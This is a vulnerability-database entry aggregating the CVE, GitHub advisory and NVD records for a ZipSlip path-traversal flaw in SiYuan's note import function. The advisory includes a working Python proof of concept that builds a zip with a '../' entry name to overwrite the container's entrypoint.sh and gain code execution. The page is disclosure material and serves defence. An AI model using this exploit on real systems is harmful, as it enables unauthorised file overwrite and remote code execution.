CVE-2025-67488 (GCVE-0-2025-67488)

Vulnerability from cvelistv5

Published

2025-12-09 20:32

Modified

2025-12-09 21:30

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-22 - Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

Summary

SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0.

References

URL

Tags

	security-advisories@github.com	https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190
	security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366

Impacted products

	Vendor	Product	Version
	siyuan-note	siyuan	Version: <= 0.0.0-20251202123337-6ef83b42c7ce

Show details on NVD website

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ghsa-gqfv-g4v7-m366

Vulnerability from github

Published

2025-12-09 17:18

Modified

2025-12-09 21:37

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

SiYuan: ZipSlip -> Arbitrary File Overwrite -> RCE

Details

Summary

Function importZipMd is vulnerable to ZipSlip which allows an authenticated user to overwrite files on the system.

Details

An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is importZipMd, this can escalate to full code execution under some circumstances, for example using the official docker image it is possible to overwrite entrypoint.sh and after a container restart it will execute the changed code causing remote code execution.

PoC

Code used to generate the ZipSlip: ```python

!/usr/bin/env python3

import sys, base64, zipfile, io, time

def prepare_zipslip(filename): orgfile1 = open('Test.md','rb').read() payload = open('entrypoint.sh','rb').read() #b"testpayload"

zipslip = io.BytesIO()
with zipfile.ZipFile(zipslip, 'w', compression=zipfile.ZIP_DEFLATED) as zipf:        
    info = zipfile.ZipInfo('Test.md')
    mtime = time.time()
    t = time.localtime(mtime)
    info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
    zipf.writestr(info, orgfile1)

    info = zipfile.ZipInfo(filename)
    mtime = time.time()
    t = time.localtime(mtime)
    info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)
    zipf.writestr(info, payload)
return zipslip.getvalue()

gz = prepare_zipslip('../../../../../../../../../../opt/siyuan/entrypoint.sh') open('exp.zip', 'wb').write(gz) ```

Impact

The exploit is possible only if the attacker has access to import functionality. It's possible to achieve code execution and some persistence within the container

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/siyuan-note/siyuan/kernel"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "0.0.0-20251202123337-6ef83b42c7ce"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-67488"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-22"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-12-09T17:18:04Z",
    "nvd_published_at": "2025-12-09T21:16:00Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nFunction [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190) is vulnerable to **ZipSlip** which allows an authenticated user to overwrite files on the system.\n\n### Details\nAn authenticated user with access to the import functionality in notes is able to overwrite any file on the system, the vulnerable function is  [**importZipMd**](https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190), this can escalate to full code execution under some circumstances, for example using the official **docker image** it is possible to overwrite **entrypoint.sh** and after a container restart it will execute the changed code causing remote code execution.\n\n### PoC\nCode used to generate the ZipSlip:\n```python\n#!/usr/bin/env python3\nimport sys, base64, zipfile, io, time\n\ndef prepare_zipslip(filename):\n    orgfile1 = open(\u0027Test.md\u0027,\u0027rb\u0027).read()\n    payload =  open(\u0027entrypoint.sh\u0027,\u0027rb\u0027).read() #b\"testpayload\"\n    \n    zipslip = io.BytesIO()\n    with zipfile.ZipFile(zipslip, \u0027w\u0027, compression=zipfile.ZIP_DEFLATED) as zipf:        \n        info = zipfile.ZipInfo(\u0027Test.md\u0027)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, orgfile1)\n        \n        info = zipfile.ZipInfo(filename)\n        mtime = time.time()\n        t = time.localtime(mtime)\n        info.date_time = (t.tm_year, t.tm_mon, t.tm_mday, t.tm_hour, t.tm_min, t.tm_sec)\n        zipf.writestr(info, payload)\n    return zipslip.getvalue()\n\ngz = prepare_zipslip(\u0027../../../../../../../../../../opt/siyuan/entrypoint.sh\u0027)\nopen(\u0027exp.zip\u0027, \u0027wb\u0027).write(gz)\n```\n\n### Impact\nThe exploit is possible only if the attacker has access to **import** functionality. It\u0027s possible to achieve code execution and some persistence within the container",
  "id": "GHSA-gqfv-g4v7-m366",
  "modified": "2025-12-09T21:37:49Z",
  "published": "2025-12-09T17:18:04Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-67488"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/siyuan-note/siyuan"
    },
    {
      "type": "WEB",
      "url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "SiYuan: ZipSlip -\u003e Arbitrary File Overwrite -\u003e RCE"
}

fkie_cve-2025-67488

Vulnerability from fkie_nvd

Published

2025-12-09 21:16

Modified

2025-12-09 21:16

Severity ?

7.8 (High) - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

Summary

References

	URL	Tags
	security-advisories@github.com	https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190
	security-advisories@github.com	https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366

Impacted products

	Vendor	Product	Version

JSON

To clipboard

{
  "cveTags": [],
  "descriptions": [
    {
      "lang": "en",
      "value": "SiYuan is self-hosted, open source personal knowledge management software. Versions 0.0.0-20251202123337-6ef83b42c7ce and below contain function importZipMd which is vulnerable to ZipSlips, allowing an authenticated user to overwrite files on the system. An authenticated user with access to the import functionality in notes is able to overwrite any file on the system, and can escalate to full code execution under some circumstances. A fix is planned for version 3.5.0."
    }
  ],
  "id": "CVE-2025-67488",
  "lastModified": "2025-12-09T21:16:00.317",
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          "attackComplexity": "LOW",
          "attackVector": "LOCAL",
          "availabilityImpact": "HIGH",
          "baseScore": 7.8,
          "baseSeverity": "HIGH",
          "confidentialityImpact": "HIGH",
          "integrityImpact": "HIGH",
          "privilegesRequired": "NONE",
          "scope": "UNCHANGED",
          "userInteraction": "REQUIRED",
          "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
          "version": "3.1"
        },
        "exploitabilityScore": 1.8,
        "impactScore": 5.9,
        "source": "security-advisories@github.com",
        "type": "Secondary"
      }
    ]
  },
  "published": "2025-12-09T21:16:00.317",
  "references": [
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/blob/dae6158860cc704e353454565c96e874278c6f47/kernel/api/import.go#L190"
    },
    {
      "source": "security-advisories@github.com",
      "url": "https://github.com/siyuan-note/siyuan/security/advisories/GHSA-gqfv-g4v7-m366"
    }
  ],
  "sourceIdentifier": "security-advisories@github.com",
  "vulnStatus": "Received",
  "weaknesses": [
    {
      "description": [
        {
          "lang": "en",
          "value": "CWE-22"
        }
      ],
      "source": "security-advisories@github.com",
      "type": "Primary"
    }
  ]
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or seen somewhere by the user.
Confirmed: The vulnerability is confirmed from an analyst perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: This vulnerability was exploited and seen by the user reporting the sighting.
Patched: This vulnerability was successfully patched by the user reporting the sighting.
Not exploited: This vulnerability was not exploited or seen by the user reporting the sighting.
Not confirmed: The user expresses doubt about the veracity of the vulnerability.
Not patched: This vulnerability was not successfully patched by the user reporting the sighting.

Action not permitted

CVE-2025-67488 (GCVE-0-2025-67488)

Vulnerability from cvelistv5

ghsa-gqfv-g4v7-m366

Vulnerability from github

Summary

Details

PoC

!/usr/bin/env python3

Impact

fkie_cve-2025-67488

Vulnerability from fkie_nvd

Tags

Sightings

Nomenclature